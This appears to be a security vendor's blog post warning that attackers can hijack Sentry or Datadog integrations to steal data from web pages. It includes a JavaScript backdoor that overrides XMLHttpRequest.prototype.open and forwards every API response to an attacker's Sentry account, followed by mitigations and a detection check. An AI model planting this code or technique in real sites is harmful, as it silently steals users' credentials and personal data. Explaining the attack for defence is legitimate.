We all know how it’s convenient to use tools like Sentry or Datadogs for JavaScript events monitoring. It allows to catch errors in real-time, organize and manage issues resolution process, and genuinely shift left operations to developers. But Wallarm security experts warn of dangerous patterns to use such tools integrated into UI since it can cause private data-stealing from authenticated users in an almost invisible way. This article will explain how it could happen and what to do to catch and prevent such kinds of exploits.
All of the mentioned services and many similar integrate with the customers’ UI by loading their JavaScript. Once it’s loaded, Sentry and others catch exceptions, alerts, console errors, and other configured events and send them to the cloud or local backend server.
Gathering exceptions and errors in a cloud is the first and necessary stage of the code operations process to find and fix issues and bugs in code at both frontend (JavaScript UI) and backend sides.
The usual integration Sentry-like error monitoring tools look like an additional <script> tag that could be more or less complex. For instance, you can compare the Sentry and Datadog script loaders below:
Sentry: | DataDog: |
<script src="https://js.sentry-cdn.com/ee0db993cb674a28ae14ee35caf781e8.min.js" crossorigin="anonymous" ></script> |
<script> |
Monitoring all the external and internal scripts and data sources your frontend uses is just necessary, and the security team knows that well. JavaScript malware is a well-known class of malicious software.
That’s why using some legit code that sends data to such legit origin like Sentry/DataDog domains is just a priceless year gift for bad actors.
The attack scenario here is simple and powerful at the same time:
Hackers register their own Sentry/DataDog account and get their own key
Attackers integrate Sentry/DataDog with the hacked web page in the same way as JavaScript malware or by an XSS exploit
Hackers add data sniffers like prototype overwrites or callbacks to catch sensitive data and PII
They send stolen data directly from victim browsers to trusted Sentry/Datadog domains
Hackers logins to the Sentry/Datadog and download stole PII/data front there
In the case of using legit and trusted services like Sentry or DataDog, attackers don’t need to obfuscate their malicious code at all. Look how does the following backdoor example looks for you:
(function (open) {
XMLHttpRequest.prototype.open = function (method, url, async, user, pass) {
this.addEventListener("readystatechange", function () {
if( this.readyState==4) {
Sentry.withScope(scope => {
scope.setExtras(this.response);
Sentry.captureMessage(“JS error: ” + Date.now());
});
}
}
}, false);
open.call(this, method, url, async, user, pass);
};
})(XMLHttpRequest.prototype.open);
In fact, the listed code snippet intercepts all the API responses that the infected UI sends to all the services and transmits this information to the attackers’ Sentry account. That’s how easily all the data from all the API endpoints, including authentication, personal account, and other private information can be stolen.
At the same, from the clients’ browser network perspective, nothing more than a legit communication with Sentry/DataDog trusted domains happens. No any evil.com, phishing domains, or direct IP addresses in the JavaScript development console.
Since the following use of error monitoring services is completely legit, the only proper way of mitigating such kind of malicious using it is detailed validation of UI/frontend code and overridden functions.
We also highly recommend error-tracking vendors like Sentry and DataDog to validate customers’ domains and issue API keys for events tracking only for confirmed domains. This will avoid such situations when attackers can steal data from the UI by XSS, Content Spoofing, or HTML/JS injection exploits without controlling the DNS record.
As a help yourself solution, the Wallarm team can suggest the following checks for all the native functions. For instance, the following sample of malicious usage Sentry to steal data from API responses could be detected by the following JavaScript code that you can run in your browser development console: XMLHttpRequest.prototype.open.toString() that returns an overwritten source instead of the reference to the native code.